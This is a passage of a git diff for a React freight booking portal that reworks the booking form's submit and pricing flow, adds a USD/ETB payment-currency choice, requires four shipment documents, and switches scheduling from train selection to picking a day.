- await api.bookings.submit.call({ id: priceBookingId });
+ return api.bookings.submit.call({ id: priceBookingId });
+ },
+ onSuccess: (result) => {
+ if (result.priceChanged) {
+ setPriceChangeResult(result);
+ return;
+ }
+ setPriceModalMode(null);
+ queryClient.invalidateQueries({ queryKey: api.bookings.list.queryKey() });
+ navigate(`/bookings/${priceBookingId}`);
+ },
+ });
+
+ const confirmSubmitMutation = useMutation({
+ mutationFn: async () => {
+ if (!priceBookingId) throw new Error("No booking to confirm");
+ return api.bookings.confirmSubmit.call({ id: priceBookingId });
},
onSuccess: () => {
+ setPriceChangeResult(null);
+ setPriceModalMode(null);
queryClient.invalidateQueries({ queryKey: api.bookings.list.queryKey() });
navigate(`/bookings/${priceBookingId}`);
},
@@ -188,22 +186,15 @@ export default function NewBookingPage() {
return route;
}, [originYard, destinationYard]);
- const docValues = form.watch("documents") ?? {};
- const hasDocuments = useMemo(
- () =>
- Object.values(docValues).some((value) =>
- Array.isArray(value) ? value.length > 0 : Boolean(value),
- ),
- [docValues],
- );
-
- const [pricingPhase, setPricingPhase] = useState<
- "idle" | "generating" | "ready"
- >("idle");
const [pricingData, setPricingData] = useState(
null,
);
const [priceBookingId, setPriceBookingId] = useState(null);
+ const [priceModalMode, setPriceModalMode] = useState(
+ null,
+ );
+ const [priceChangeResult, setPriceChangeResult] =
+ useState(null);
const [cancelDialogOpen, setCancelDialogOpen] = useState(false);
const [cancelReason, setCancelReason] = useState("");
@@ -211,6 +202,14 @@ export default function NewBookingPage() {
const valid = await form.trigger(stepFields[step], { shouldFocus: true });
if (!valid) return;
+ if (step === 6 && !hasAllRequiredDocuments(form.getValues("documents"))) {
+ form.setError("documents", {
+ type: "manual",
+ message: "Upload all four required documents.",
+ });
+ return;
+ }
+
setStep((currentStep) => Math.min(STEPS.length, currentStep + 1));
}
@@ -232,13 +231,9 @@ export default function NewBookingPage() {
)
: Number(data.cargoWeight || 0);
- const shippingLines = referenceData?.shipping_line ?? [];
const cargoTree = referenceData?.cargo_type ?? [];
const containerGroups = referenceData?.containers ?? [];
- const findShippingLineId = (name: string): string | undefined =>
- shippingLines.find((l) => l.name === name)?.id;
-
const findContainerTypeId = (name: string): string => {
for (const group of containerGroups) {
const ct = group.types.find((t) => t.name === name);
@@ -265,7 +260,9 @@ export default function NewBookingPage() {
)!;
return {
- scheduledDate: new Date().toISOString(),
+ scheduledDate: data.scheduledDate
+ ? new Date(data.scheduledDate).toISOString()
+ : new Date().toISOString(),
contractType:
data.contractType.toUpperCase() as CreateBookingPayload["contractType"],
serviceTypeId: data.serviceTypeId,
@@ -273,12 +270,13 @@ export default function NewBookingPage() {
data.equipmentReturn === "with_return"
? "WITH_RETURN"
: "WITHOUT_RETURN",
- paymentCurrency: "USD",
+ paymentCurrency: data.paymentCurrency,
originYardId: data.originYard,
destinationYardId: data.destinationYard,
tradeDirection: direction!,
cargoTypeId,
- trainScheduleId: data.trainScheduleId,
+ // Day-level pool: the customer picks only a day (scheduledDate); the batch
+ // engine assigns the train, so no trainScheduleId is sent.
cargoTotalWeightVgm: totalWeight,
isHazardous: data.isHazardous,
allowConsolidation: data.consolidationEnabled,
@@ -307,31 +305,61 @@ export default function NewBookingPage() {
? { lastMileDeliveryAddress: data.lastMile.deliveryAddress }
: {}),
...(data.shippingLine
- ? { shippingLineId: findShippingLineId(data.shippingLine) }
+ ? { shippingLineId: data.shippingLine }
: {}),
...(cargoFreeText ? { cargoFreeText } : {}),
};
}
- const handleDraftSubmit = form.handleSubmit((data) => {
+ const handleSaveDraft = form.handleSubmit((data) => {
try {
const apiPayload = buildApiPayload(data);
- createMutation.mutate(apiPayload);
+ persistAndPriceMutation.mutate({
+ payload: apiPayload,
+ mode: "draft",
+ existingBookingId: priceBookingId,
+ });
} catch {
// validation error already handled
}
});
- const handleGeneratePrice = form.handleSubmit((data) => {
+ const handleSubmitBooking = form.handleSubmit((data) => {
+ if (!hasAllRequiredDocuments(data.documents)) {
+ form.setError("documents", {
+ type: "manual",
+ message: "Upload all four required documents.",
+ });
+ setStep(6);
+ return;
+ }
try {
const apiPayload = buildApiPayload(data);
- setPricingPhase("generating");
- createAndPriceMutation.mutate(apiPayload);
+ persistAndPriceMutation.mutate({
+ payload: apiPayload,
+ mode: "submit",
+ existingBookingId: priceBookingId,
+ });
} catch {
// validation error already handled
}
});
+ const isPricing =
+ persistAndPriceMutation.isPending || confirmMutation.isPending;
+
+ function closePriceModal() {
+ setPriceModalMode(null);
+ if (priceModalMode === "draft" && priceBookingId) {
+ navigate(`/bookings/${priceBookingId}`);
+ }
+ }
+
+ function handleDraftModalOk() {
+ setPriceModalMode(null);
+ if (priceBookingId) navigate(`/bookings/${priceBookingId}`);
+ }
+
return (
e.preventDefault()}
>
- {createMutation.isError && (
+ {persistAndPriceMutation.isError && (
}
@@ -391,29 +419,11 @@ export default function NewBookingPage() {
mb="lg"
>
- Failed to save draft
+ Failed to save booking or generate price
- {createMutation.error instanceof Error
- ? createMutation.error.message
- : "An unexpected error occurred. Please try again."}
-
-
- )}
-
- {createAndPriceMutation.isError && (
- }
- radius="md"
- mb="lg"
- >
-
- Failed to generate price estimate
-
-
- {createAndPriceMutation.error instanceof Error
- ? createAndPriceMutation.error.message
+ {persistAndPriceMutation.error instanceof Error
+ ? persistAndPriceMutation.error.message
: "An unexpected error occurred. Please try again."}
@@ -450,17 +460,16 @@ export default function NewBookingPage() {
setStep={setStep}
direction={direction!}
referenceData={referenceData}
- pricingPhase={pricingPhase}
- pricingData={pricingData}
- onConfirm={() => confirmMutation.mutate()}
- onContinueLater={
- priceBookingId
- ? () => navigate(`/bookings/${priceBookingId}`)
- : undefined
+ onSaveDraft={handleSaveDraft}
+ onSubmit={handleSubmitBooking}
+ saveDraftPending={
+ persistAndPriceMutation.isPending &&
+ persistAndPriceMutation.variables?.mode === "draft"
+ }
+ submitPending={
+ persistAndPriceMutation.isPending &&
+ persistAndPriceMutation.variables?.mode === "submit"
}
- onAbort={() => setCancelDialogOpen(true)}
- confirmPending={confirmMutation.isPending}
- abortPending={abortMutation.isPending}
/>
)}
@@ -501,51 +510,151 @@ export default function NewBookingPage() {
>
Continue
- ) : pricingPhase === "idle" ? (
-
-
- }
- >
- {createMutation.isPending
- ? "Saving Draft..."
- : "Save as Draft"}
-
- {hasDocuments && (
-
- )
- }
- onClick={() => handleGeneratePrice()}
- >
- {createAndPriceMutation.isPending
- ? "Generating price…"
- : "Submit"}
-
- )}
-
- ) : pricingPhase === "generating" ? (
-
- Generating price estimate…
+ ) : (
+ }
+ onClick={handleSubmitBooking}
+ loading={isPricing}
+ >
+ Submit
- ) : null}
+ )}
+
+ {priceModalMode === "submit"
+ ? "Confirm booking submission"
+ : "Draft saved — price estimate"}
+
+ }
+ radius="lg"
+ centered
+ size="md"
+ >
+ {pricingData && (
+
+
+ {priceModalMode === "submit"
+ ? "Review the price estimate below. Confirm to submit your booking for EDR staff review."
+ : "Your booking has been saved as a draft. Here is the estimated price."}
+
+
+ {pricingData.lineItems.map((item) => (
+
+
+ {item.description}
+
+
+ {item.amount.toLocaleString()} {item.currency}
+
+
+ ))}
+
+
+
+ Total
+
+
+ {pricingData.totalAmount.toLocaleString()} {pricingData.currency}
+
+
+ {pricingData.warnings.length > 0 && (
+
+ {pricingData.warnings.join(", ")}
+
+ )}
+
+ {priceModalMode === "submit" ? (
+ <>
+
+ Cancel
+
+ }
+ onClick={() => confirmMutation.mutate()}
+ loading={confirmMutation.isPending}
+ >
+ Confirm & submit
+
+ >
+ ) : (
+
+ OK
+
+ )}
+
+
+ )}
+
+
+ setPriceChangeResult(null)}
+ title={Price has changed }
+ radius="lg"
+ centered
+ >
+ {priceChangeResult && (
+
+
+ {priceChangeResult.message ??
+ "The booking price has been updated. Confirm to submit with the new total."}
+
+ {priceChangeResult.previousTotalAmount !== undefined && (
+
+
+ Previous total
+
+
+ {priceChangeResult.previousTotalAmount.toLocaleString()}{" "}
+ {priceChangeResult.currency}
+
+
+ )}
+
+ New total
+
+ {priceChangeResult.totalAmount.toLocaleString()}{" "}
+ {priceChangeResult.currency}
+
+
+
+ setPriceChangeResult(null)}
+ >
+ Cancel
+
+ confirmSubmitMutation.mutate()}
+ >
+ Confirm & submit
+
+
+
+ )}
+
+
setCancelDialogOpen(false)}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/StepIndicator.tsx b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/StepIndicator.tsx
index 7ac5411fb..c5d9ad433 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/StepIndicator.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/StepIndicator.tsx
@@ -2,84 +2,88 @@ import { Check } from "lucide-react";
import { Fragment } from "react";
import { STEPS } from "./schema";
+const GREEN = "var(--mantine-color-edr-green-5)";
+const GREEN_DEEP = "var(--mantine-color-edr-green-7)";
+const BORDER = "var(--mantine-color-edr-border-0)";
+const MUTED = "var(--mantine-color-edr-muted-0)";
+const INK = "var(--mantine-color-edr-text-0)";
+
export function StepIndicator({ step }: { step: number }) {
return (
-
- {STEPS.map((item, index) => (
-
-
-
item.id
- ? {
- backgroundColor: "var(--mantine-color-edr-green-5)",
- color: "#fff",
- boxShadow: "0 2px 8px rgba(14,163,113,0.4)",
- }
- : step === item.id
+
+ {STEPS.map((item, index) => {
+ const done = step > item.id;
+ const active = step === item.id;
+ return (
+
+
+
- {step > item.id ? (
-
- ) : (
- item.id
- )}
+ : active
+ ? {
+ border: `2.5px solid ${GREEN}`,
+ color: GREEN_DEEP,
+ backgroundColor: "#fff",
+ boxShadow: "0 0 0 4px rgba(14,163,113,0.12)",
+ }
+ : {
+ backgroundColor: "#fff",
+ color: MUTED,
+ border: `2px solid ${BORDER}`,
+ }),
+ }}
+ >
+ {done ? : item.id}
+
+
= item.id ? INK : MUTED,
+ }}
+ className="md:!block"
+ >
+ {item.short}
+
- = item.id
- ? "var(--mantine-color-edr-text-0)"
- : "var(--mantine-color-edr-muted-0)",
- }}
- className="lg:!block"
- >
- {item.short}
-
-
- {index < STEPS.length - 1 && (
-
item.id
- ? "var(--mantine-color-edr-green-5)"
- : "var(--mantine-color-edr-border-0)",
- }}
- />
- )}
-
- ))}
+ {index < STEPS.length - 1 && (
+
+ )}
+
+ );
+ })}
);
}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/payment-currency-field.tsx b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/payment-currency-field.tsx
new file mode 100644
index 000000000..c11620d4f
--- /dev/null
+++ b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/payment-currency-field.tsx
@@ -0,0 +1,59 @@
+import { Box, Text } from "@mantine/core";
+import { Banknote, DollarSign } from "lucide-react";
+import { Controller, type Control } from "react-hook-form";
+import {
+ PAYMENT_CURRENCY_OPTIONS,
+ type BookingFormInputValues,
+ type BookingFormValues,
+ type PaymentCurrency,
+} from "./schema";
+import { OptionCard, OptionFieldError, StepLabel } from "./shared";
+
+const CURRENCY_ICONS: Record<
+ PaymentCurrency,
+ { icon: typeof DollarSign; bg: string; color: string }
+> = {
+ USD: { icon: DollarSign, bg: "#EEF0FB", color: "#4F46E5" },
+ ETB: { icon: Banknote, bg: "#ECF6F1", color: "#0A6F4D" },
+};
+
+export function PaymentCurrencyField({
+ control,
+}: {
+ control: Control
;
+}) {
+ return (
+
+ Payment currency
+
+ Choose the currency for your freight quote and invoices.
+
+ (
+
+
+ {PAYMENT_CURRENCY_OPTIONS.map((option) => {
+ const Icon = CURRENCY_ICONS[option.value].icon;
+ return (
+ field.onChange(option.value)}
+ icon={ }
+ iconBg={CURRENCY_ICONS[option.value].bg}
+ iconColor={CURRENCY_ICONS[option.value].color}
+ title={option.label}
+ description={option.description}
+ />
+ );
+ })}
+
+
+
+ )}
+ />
+
+ );
+}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/schema.ts b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/schema.ts
index dbf943068..a55ef7962 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/schema.ts
+++ b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/schema.ts
@@ -14,9 +14,7 @@ export const STEPS = [
/**
* Shipment documents collected during booking creation. The fileKeys mirror
- * `REQUIRED_DOC_FIELDS` in BookingDetailPage/constants.ts so anything attached
- * here shows up as "Uploaded" on the booking detail page. All optional in this
- * flow — the detail page remains the catch-all for uploading them later.
+ * `REQUIRED_DOC_FIELDS` in BookingDetailPage/constants.ts.
*/
const DOC_SETTING_TS = "2024-01-01T00:00:00.000Z";
@@ -34,7 +32,7 @@ function docField(
fileKey,
fileLabel,
helpText: null,
- isRequired: false,
+ isRequired: true,
isMultiple: false,
maxFiles: 1,
allowedExtensions: ["pdf", "jpg", "jpeg", "png"],
@@ -51,7 +49,7 @@ export const BOOKING_DOCS_SETTING: Freight.IFileUploadSetting = {
code: "booking_documents",
label: "Booking Documents",
description:
- "Attach your shipment documents now, or skip and upload them later from the booking page.",
+ "Attach all four required shipment documents before submitting your booking.",
entity: "booking",
fields: [
docField("commercial_invoice", "Commercial Invoice", 1),
@@ -63,11 +61,32 @@ export const BOOKING_DOCS_SETTING: Freight.IFileUploadSetting = {
export type BookingDocuments = Record;
+export const PAYMENT_CURRENCIES = ["USD", "ETB"] as const;
+export type PaymentCurrency = (typeof PAYMENT_CURRENCIES)[number];
+
+export const PAYMENT_CURRENCY_OPTIONS: Array<{
+ value: PaymentCurrency;
+ label: string;
+ description: string;
+}> = [
+ {
+ value: "USD",
+ label: "USD",
+ description: "US Dollar — international pricing and invoicing.",
+ },
+ {
+ value: "ETB",
+ label: "ETB",
+ description: "Ethiopian Birr — local pricing and invoicing.",
+ },
+];
+
export const bookingFormSchema = z
.object({
contractType: z.enum(["new", "renewal"], "Select a contract type."),
previousContractRef: z.string(),
serviceTypeId: z.string("Select a service type."),
+ paymentCurrency: z.enum(PAYMENT_CURRENCIES, "Select a payment currency."),
firstMile: z
.object({
@@ -94,8 +113,9 @@ export const bookingFormSchema = z
originYard: z.string().min(1, "Select an origin yard."),
destinationYard: z.string().min(1, "Select a destination yard."),
shippingLine: z.string(),
+ // Day-level pool: the customer selects only a DAY. The batch engine assigns
+ // the specific train later, so no trainScheduleId is collected here.
scheduledDate: z.string().min(1, "Select a shipment date."),
- trainScheduleId: z.string().min(1, "Select a shipment date."),
cargoType: z.enum(["container", "bulk"], "Select a cargo type."),
cargoWeight: z.string(),
cargoTypePath: z.array(z.string()).default([]),
@@ -118,7 +138,10 @@ export const bookingFormSchema = z
.refine((vgm) => Number(vgm) >= 0, "Must be greater than 0"),
}),
),
- consolidationEnabled: z.boolean(),
+ // Consolidation is system-managed, not a customer choice. The backend only
+ // consolidates partial-wagon bookings, so this is always allowed; the
+ // customer neither sees nor toggles it.
+ consolidationEnabled: z.boolean().default(true),
documents: z.record(z.string(), z.any()).default({}),
notes: z.string(),
})
@@ -202,6 +225,7 @@ export const initialBookingFormValues: DeepPartial = {
previousContractRef: "",
serviceTypeId: "",
+ paymentCurrency: "USD",
firstMile: {
enabled: false,
pickUpAddress: "",
@@ -216,14 +240,13 @@ export const initialBookingFormValues: DeepPartial = {
destinationYard: "",
shippingLine: "",
scheduledDate: "",
- trainScheduleId: "",
cargoWeight: "",
cargoTypePath: [],
cargoFreeText: "",
isHazardous: false,
isRefrigerated: false,
containers: [{ type: "20ft", containerType: "", qty: "1", vgm: "" }],
- consolidationEnabled: false,
+ consolidationEnabled: true,
documents: {},
notes: "",
};
@@ -232,6 +255,7 @@ export const stepFields: Record>> = {
1: ["contractType", "previousContractRef"],
2: [
"serviceTypeId",
+ "paymentCurrency",
"firstMile",
"lastMile",
"equipmentReturn",
@@ -244,14 +268,8 @@ export const stepFields: Record>> = {
"isRefrigerated",
"shippingLine",
],
- 4: [
- "cargoType",
- "cargoWeight",
- "cargoTypePath",
- "containers",
- "consolidationEnabled",
- ],
- 5: ["scheduledDate", "trainScheduleId"],
+ 4: ["cargoType", "cargoWeight", "cargoTypePath", "containers"],
+ 5: ["scheduledDate"],
6: ["documents"],
7: ["notes"],
};
@@ -267,22 +285,33 @@ export interface WagonConfig {
type: "20ft" | "40ft";
}
+/**
+ * Derive the trade direction from the origin/destination yard countries.
+ *
+ * Mirrors the backend's `deriveTradeDirection` exactly so the value the portal
+ * sends always matches what the API re-derives (the API rejects mismatches):
+ * - origin in Djibouti → IMPORT
+ * - destination in Djibouti (origin not) → EXPORT
+ * - everything else (e.g. Ethiopia↔Ethiopia)→ DOMESTIC
+ *
+ * Returns null only while a yard is still unselected, so the UI can wait.
+ */
export function getRouteDirection(
origin: Freight.BookingReferenceYard | null | undefined,
dest: Freight.BookingReferenceYard | null | undefined,
): Freight.ScheduleTradeDirection | null {
if (!origin || !dest) return null;
- if (origin.country === "Ethiopia" && dest.country === "Ethiopia") {
- return "DOMESTIC";
- }
- if (origin.country === "Ethiopia" && dest.country === "Djibouti") {
- return "EXPORT";
- }
- if (origin.country === "Djibouti" && dest.country === "Ethiopia") {
+
+ const originCountry = origin.country?.trim();
+ const destCountry = dest.country?.trim();
+
+ if (originCountry === "Djibouti") {
return "IMPORT";
}
-
- return null;
+ if (destCountry === "Djibouti" && originCountry !== "Djibouti") {
+ return "EXPORT";
+ }
+ return "DOMESTIC";
}
export function calcWagons(containers: ContainerConfig[]) {
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/shared.tsx b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/shared.tsx
index 55b6eda44..b2ee1fd7e 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/shared.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/shared.tsx
@@ -1,48 +1,167 @@
-import { Alert, Combobox, Input, InputBase, Select, Text, Title, useCombobox } from "@mantine/core";
-import { AlertTriangle, Check, CheckCircle2, Info, Loader, XCircle } from "lucide-react";
+import {
+ Alert,
+ Box,
+ Combobox,
+ Group,
+ Input,
+ InputBase,
+ Paper,
+ Select,
+ Text,
+ Title,
+ useCombobox,
+} from "@mantine/core";
+import {
+ AlertTriangle,
+ Check,
+ CheckCircle2,
+ Info,
+ Loader,
+ XCircle,
+} from "lucide-react";
import type { ReactNode } from "react";
import { useMemo } from "react";
-import type { ControllerRenderProps, FieldError as RhfFieldError } from "react-hook-form";
+import type {
+ ControllerRenderProps,
+ FieldError as RhfFieldError,
+} from "react-hook-form";
import type { BookingFormInputValues } from "./schema";
+// Brand tokens (kept local so the form reads consistently with the booking
+// detail page and the scheduling step).
+const INK = "#10202F";
+const MUTED = "#6B7C8E";
+const GREEN = "#0EA371";
+const GREEN_DARK = "#0A6F4D";
+const BORDER = "#E6ECF2";
+
export function OptionFieldError({ error }: { error?: { message?: string } }) {
if (!error?.message) return null;
return (
-
+
{error.message}
);
}
+/**
+ * Premium selectable option card with an icon tile, title, and description.
+ * Pass `icon`/`iconBg`/`iconColor` for the leading tile, or compose freely via
+ * `children` (legacy callers still work).
+ */
export function OptionCard({
selected,
onClick,
disabled,
+ icon,
+ iconBg = "#ECF6F1",
+ iconColor = GREEN_DARK,
+ title,
+ description,
children,
}: {
selected: boolean;
onClick?: () => void;
disabled?: boolean;
- children: ReactNode;
+ icon?: ReactNode;
+ iconBg?: string;
+ iconColor?: string;
+ title?: ReactNode;
+ description?: ReactNode;
+ children?: ReactNode;
}) {
return (
{
+ if (!disabled && !selected) {
+ e.currentTarget.style.borderColor = "#BFE3D2";
+ e.currentTarget.style.boxShadow = "0 6px 16px rgba(16,24,40,0.07)";
+ }
+ }}
+ onMouseLeave={(e) => {
+ if (!disabled && !selected) {
+ e.currentTarget.style.borderColor = BORDER;
+ e.currentTarget.style.boxShadow = "0 1px 2px rgba(16,24,40,0.04)";
+ }
+ }}
>
{selected && !disabled && (
-
-
+
+
)}
+
+ {/* Structured form (icon + title + description) */}
+ {(icon || title || description) && (
+
+ {icon && (
+
+ {icon}
+
+ )}
+ {title && (
+
+ {title}
+
+ )}
+ {description && (
+
+ {description}
+
+ )}
+
+ )}
+
{children}
);
@@ -63,7 +182,7 @@ export function AlertBox({
};
const { color, icon } = map[tone];
return (
-
+
{children}
);
@@ -71,31 +190,89 @@ export function AlertBox({
export function StepLabel({ children }: { children: ReactNode }) {
return (
-
+
{children}
);
}
+/**
+ * Card shell that wraps a step's body. Gives every step the same premium
+ * surface, padding, and an optional eyebrow.
+ */
+export function StepCard({
+ children,
+ eyebrow,
+}: {
+ children: ReactNode;
+ eyebrow?: ReactNode;
+}) {
+ return (
+
+ {eyebrow}
+ {children}
+
+ );
+}
+
export function StepHeader({
title,
description,
+ icon,
}: {
title: string;
description: string;
+ icon?: ReactNode;
}) {
return (
-
-
- {title}
-
-
- {description}
-
-
+
+ {icon && (
+
+ {icon}
+
+ )}
+
+
+ {title}
+
+
+ {description}
+
+
+
);
}
+/** Shared Mantine input styling so every field in the form matches. */
+export const fieldStyles = {
+ label: { fontWeight: 600, fontSize: 13, color: INK, marginBottom: 6 },
+ input: { borderRadius: 10, minHeight: 44, height: 44, borderColor: BORDER },
+} as const;
+
export function SelectField({
field,
error,
@@ -103,6 +280,7 @@ export function SelectField({
placeholder,
disabled,
data,
+ leftSection,
}: {
field: ControllerRenderProps;
error?: RhfFieldError;
@@ -110,6 +288,7 @@ export function SelectField({
placeholder: string;
disabled?: boolean;
data: string[] | { value: string; label: string }[];
+ leftSection?: ReactNode;
}) {
return (
);
}
@@ -166,12 +350,14 @@ export function AsyncComboboxField({
};
return (
-
-
+
+
{
onSearchChange(e.currentTarget.value);
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step-documents.tsx b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step-documents.tsx
index f600d10d7..07a6d197c 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step-documents.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step-documents.tsx
@@ -1,6 +1,6 @@
import { Box, Group, Text } from "@mantine/core";
import { SmartFileInput } from "@edr/ui-common";
-import { CheckCircle2 } from "lucide-react";
+import { CheckCircle2, FileUp } from "lucide-react";
import { Controller, type UseFormReturn } from "react-hook-form";
import {
@@ -9,7 +9,7 @@ import {
type BookingDocuments,
type BookingFormValues,
} from "./schema";
-import { StepHeader } from "./shared";
+import { StepCard, StepHeader } from "./shared";
type BookingForm = UseFormReturn<
BookingFormInputValues,
@@ -30,10 +30,11 @@ export function StepDocuments({ form }: { form: BookingForm }) {
const total = BOOKING_DOCS_SETTING.fields.length;
return (
-
+
}
title="Shipment Documents"
- description="Attach your shipment documents now, or skip this step and upload them later from the booking page."
+ description="Attach your shipment documents now, or skip and upload them later from the booking page."
/>
)}
/>
-
+
);
}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step-scheduling.tsx b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step-scheduling.tsx
index 3a989e60c..5b47a4dbf 100644
--- a/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step-scheduling.tsx
+++ b/apps/edr-freight-web/portal/src/pages/bookings/new-booking-form/step-scheduling.tsx
@@ -5,10 +5,9 @@ import {
Button,
Card,
Group,
- Modal,
Stack,
Text,
- useMantineTheme
+ useMantineTheme,
} from "@mantine/core";
import { useQuery } from "@tanstack/react-query";
import {
@@ -46,17 +45,15 @@ interface DayData {
isToday: boolean;
isCurrentMonth: boolean;
isSelectedDate: boolean;
- schedules: Freight.BookableScheduleItem[];
- hasSchedule: boolean;
+ /** True when the route has at least one departure on this day. */
+ hasDeparture: boolean;
}
export function StepScheduling({ form, referenceData }: StepSchedulingProps) {
const theme = useMantineTheme();
const [currentDate, setCurrentDate] = useState(new Date());
- const [selectedDayForModal, setSelectedDayForModal] = useState(null);
const selectedDate = form.watch("scheduledDate");
- const selectedScheduleId = form.watch("trainScheduleId");
const originYardId = form.watch("originYard");
const destinationYardId = form.watch("destinationYard");
const cargoType = form.watch("cargoType");
@@ -75,41 +72,21 @@ export function StepScheduling({ form, referenceData }: StepSchedulingProps) {
[referenceData, destinationYardId],
);
- const { data: bookableSchedules } = useQuery(
- api.bookings.getBookableSchedules.queryOptions({
+ // Day-level pool: the customer picks a DAY, not a train. We only fetch which
+ // days have a departure — no capacity, no per-train detail. The batch engine
+ // assigns the train later, distributing the day's pool by priority.
+ const { data: availableDays } = useQuery(
+ api.bookings.getAvailableDays.queryOptions({
input: { originYardId, destinationYardId },
enabled: !!originYardId && !!destinationYardId,
}),
);
- // Group all schedules per date — multiple departures per day are allowed.
- // scheduleDate comes back as a full ISO timestamp; slice to "yyyy-MM-dd" to
- // match the format used by the calendar day keys.
- const schedulesByDate = useMemo(() => {
- const map = new Map();
- if (bookableSchedules) {
- for (const s of bookableSchedules) {
- const dateKey = s.scheduleDate.slice(0, 10);
- const existing = map.get(dateKey) ?? [];
- map.set(dateKey, [...existing, s]);
- }
- }
- return map;
- }, [bookableSchedules]);
-
- const selectedSchedule = useMemo(
- () => bookableSchedules?.find((s) => s.id === selectedScheduleId),
- [bookableSchedules, selectedScheduleId],
+ const departureDays = useMemo(
+ () => new Set(availableDays ?? []),
+ [availableDays],
);
- const availableCount = useMemo(() => {
- let count = 0;
- schedulesByDate.forEach((schedules) => {
- if (schedules.some((s) => s.remainingWagons > 0)) count++;
- });
- return count;
- }, [schedulesByDate]);
-
const days = useMemo((): DayData[] => {
const monthStart = startOfMonth(currentDate);
const monthEnd = endOfMonth(currentDate);
@@ -118,19 +95,21 @@ export function StepScheduling({ form, referenceData }: StepSchedulingProps) {
return eachDayOfInterval({ start: calStart, end: calEnd }).map((date) => {
const dateString = format(date, "yyyy-MM-dd");
- const schedules = schedulesByDate.get(dateString) ?? [];
-
return {
day: date.getDate(),
dateString,
isToday: isToday(date),
isCurrentMonth: isSameMonth(date, currentDate),
isSelectedDate: selectedDate === dateString,
- schedules,
- hasSchedule: schedules.length > 0,
+ hasDeparture: departureDays.has(dateString),
};
});
- }, [currentDate, schedulesByDate, selectedDate]);
+ }, [currentDate, departureDays, selectedDate]);
+
+ const availableCount = useMemo(
+ () => days.filter((d) => d.isCurrentMonth && d.hasDeparture).length,
+ [days],
+ );
const cargoSummary = useMemo(() => {
if (!cargoType) return "Not selected";
@@ -151,28 +130,9 @@ export function StepScheduling({ form, referenceData }: StepSchedulingProps) {
const weeksCount = Math.ceil(days.length / 7);
const handleDayClick = (day: DayData) => {
- if (day.schedules.length > 1) {
- setSelectedDayForModal(day);
- } else if (day.schedules.length === 1) {
- form.setValue("scheduledDate", day.dateString, {
- shouldValidate: true,
- });
- form.setValue("trainScheduleId", day.schedules[0].id, {
- shouldValidate: true,
- });
- }
- };
-
- const handleSelectScheduleFromModal = (scheduleId: string) => {
- if (selectedDayForModal) {
- form.setValue("scheduledDate", selectedDayForModal.dateString, {
- shouldValidate: true,
- });
- form.setValue("trainScheduleId", scheduleId, {
- shouldValidate: true,
- });
- setSelectedDayForModal(null);
- }
+ if (!day.hasDeparture) return;
+ // Record only the day — no specific train is chosen.
+ form.setValue("scheduledDate", day.dateString, { shouldValidate: true });
};
return (
@@ -229,7 +189,7 @@ export function StepScheduling({ form, referenceData }: StepSchedulingProps) {
{originYardId && destinationYardId
- ? `${availableCount} available departure${availableCount !== 1 ? "s" : ""} in ${format(currentDate, "MMMM")} — pick one to continue`
+ ? `${availableCount} day${availableCount !== 1 ? "s" : ""} with a departure in ${format(currentDate, "MMMM")} — pick one to continue`
: "Select origin and destination to see available departures"}
@@ -268,11 +228,7 @@ export function StepScheduling({ form, referenceData }: StepSchedulingProps) {
}}
>
{days.slice(wi * 7, wi * 7 + 7).map((d, di) => (
-
+
))}
))}
@@ -311,7 +267,7 @@ export function StepScheduling({ form, referenceData }: StepSchedulingProps) {
value={cargoSummary}
/>
- {selectedSchedule && selectedDate && (
+ {selectedDate && (
- SELECTED DEPARTURE
+ SELECTED DAY
{format(new Date(selectedDate + "T00:00:00"), "EEE, MMM d yyyy")}
-
-
- Train
-
-
- {selectedSchedule.trainNumber ?? selectedSchedule.id.slice(0, 8)}
-
-
-
-
- Wagons available
-
-
- {selectedSchedule.remainingWagons} / {selectedSchedule.maxWagons}
-
-
+
+ Your train is confirmed by our freight desk after booking.
+
)}
@@ -380,71 +323,6 @@ export function StepScheduling({ form, referenceData }: StepSchedulingProps) {
-
- {/* ── Schedule Selection Modal ──────────────────────────── */}
- setSelectedDayForModal(null)}
- title={selectedDayForModal ? format(new Date(selectedDayForModal.dateString + "T00:00:00"), "EEE, MMM d yyyy") : ""}
- centered
- size="sm"
- styles={{
- header: { borderBottom: `1px solid ${theme.colors["edr-border"][0]}` },
- body: { padding: 24 },
- }}
- >
-
-
- Choose a departure time
-
- {selectedDayForModal?.schedules.map((schedule) => (
- handleSelectScheduleFromModal(schedule.id)}
- style={{ height: 64, justifyContent: "flex-start" }}
- styles={{
- inner: { justifyContent: "flex-start" },
- root: {
- borderColor: theme.colors["edr-border"][0],
- transition: "all 150ms ease",
- "&:hover": {
- borderColor: theme.colors["edr-green"][5],
- backgroundColor: theme.colors["edr-soft"][0],
- },
- },
- }}
- >
-
-
-
-
-
-
- {format(new Date(schedule.scheduleDate), "HH:mm")}
-
- {schedule.trainNumber && (
-
- Train {schedule.trainNumber}
-
- )}
-
-
-
- ))}
-
-
);
}
@@ -454,7 +332,7 @@ interface DayCellProps {
onDayClick: (day: DayData) => void;
}
-function DayCell({ day: d, onDayClick, }: DayCellProps) {
+function DayCell({ day: d, onDayClick }: DayCellProps) {
const theme = useMantineTheme();
if (!d.isCurrentMonth) {
